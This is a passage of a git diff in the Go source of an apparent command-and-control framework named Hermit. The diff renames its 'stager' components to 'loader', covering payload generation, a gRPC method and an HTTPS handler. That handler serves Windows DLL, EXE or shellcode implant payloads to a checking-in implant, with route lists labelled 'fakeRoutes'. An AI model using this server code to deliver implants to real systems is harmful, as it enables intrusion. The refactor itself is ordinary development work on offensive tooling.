err := crypt.NewAES() @@ -104,7 +104,7 @@ func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile return nil, "", fmt.Errorf("linux target is not implemented yet") } else if s.Os == "windows" { // Change directory - os.Chdir("./payload/win/stager") + os.Chdir("./payload/win/loader") _, err = meta.ExecCommand("rm", "-rf", "build") if err != nil { os.Chdir(serverState.CWD) diff --git a/pkg/server/rpc/grpc.go b/pkg/server/rpc/grpc.go index a1210c6..e5ea1c6 100644 --- a/pkg/server/rpc/grpc.go +++ b/pkg/server/rpc/grpc.go @@ -318,11 +318,11 @@ func (s *HermitRPCServer) PayloadImplantGenerate( return &commonpb.Binary{Data: data}, nil } -func (s *HermitRPCServer) PayloadStagerGenerate( +func (s *HermitRPCServer) PayloadLoaderGenerate( ctx context.Context, - stg *rpcpb.PayloadStager, + stg *rpcpb.PayloadLoader, ) (*commonpb.Binary, error) { - newStg := payload.NewStager( + newStg := payload.NewLoader( uint(stg.Id), stg.Uuid, stg.Name, diff --git a/pkg/server/service/https.go b/pkg/server/service/https.go index b87f1ae..589ac75 100644 --- a/pkg/server/service/https.go +++ b/pkg/server/service/https.go @@ -41,7 +41,7 @@ type CheckInData struct { AESIVBase64 string `json:"aesIV"` } -type StagerData struct { +type LoaderData struct { OS string `json:"os"` Arch string `json:"arch"` Hostname string `json:"hostname"` @@ -533,7 +533,7 @@ func handleImplantWebSocket(ctx *gin.Context) { } } -func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState) gin.HandlerFunc { +func handleLoaderDownload(lis *listener.Listener, serverState *state.ServerState) gin.HandlerFunc { fn := func(ctx *gin.Context) { w := ctx.Writer header := w.Header() @@ -547,14 +547,14 @@ func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState return } // Parse JSON - var stgData StagerData - if err := json.Unmarshal(jsonBytes, &stgData); err != nil { + var ldrData LoaderData + if err := json.Unmarshal(jsonBytes, &ldrData); err != nil { ctx.String(http.StatusBadRequest, "Failed to parse JSON.") return } // Generate AES key/iv - newAES, err := crypt.NewAESFromBase64Pairs(stgData.AESKeyBase64, stgData.AESIVBase64) + newAES, err := crypt.NewAESFromBase64Pairs(ldrData.AESKeyBase64, ldrData.AESIVBase64) if err != nil { ctx.String(http.StatusBadGateway, "Failed to generate AES instance from Base64 key/iv.") return @@ -572,44 +572,44 @@ func handleStagerDownload(lis *listener.Listener, serverState *state.ServerState for _, payloadPath := range payloadPaths { // TODO: more accurate check for file info - if stgData.OS == "linux" { + if ldrData.OS == "linux" { // TODO // ... } - if stgData.OS == "windows" { - if stgData.LoaderType == "dll-loader" { + if ldrData.OS == "windows" { + if ldrData.LoaderType == "dll" { // Load a DLL file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".amd64.dll") { targetPayloadPath = payloadPath break } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".i686.dll") { targetPayloadPath = payloadPath break } } - } else if stgData.LoaderType == "exec-loader" { + } else if ldrData.LoaderType == "exec" { // Load an executable file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".amd64.exe") { targetPayloadPath = payloadPath break } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".i686.exe") { targetPayloadPath = payloadPath break } } - } else if stgData.LoaderType == "shellcode-loader" { + } else if ldrData.LoaderType == "shellcode" { // Load a shellcode (raw) file. - if stgData.Arch == "amd64" { + if ldrData.Arch == "amd64" { if strings.HasSuffix(payloadPath, ".x64.bin") { targetPayloadPath = payloadPath } - } else if stgData.Arch == "i686" { + } else if ldrData.Arch == "i686" { if strings.HasSuffix(payloadPath, ".x86.bin") { targetPayloadPath = payloadPath } @@ -693,8 +693,8 @@ func httpsRoutes( for _, r := range fakeRoutes["/implant/websocket"] { router.GET(r, handleImplantWebSocket) } - for _, r := range fakeRoutes["/stager/download"] { - router.POST(r, handleStagerDownload(lis, serverState)) + for _, r := range fakeRoutes["/loader/download"] { + router.POST(r, handleLoaderDownload(lis, serverState)) } for _, r := range fakeRoutes["/socket/open"] { router.POST(r, handleSocketOpen(serverState))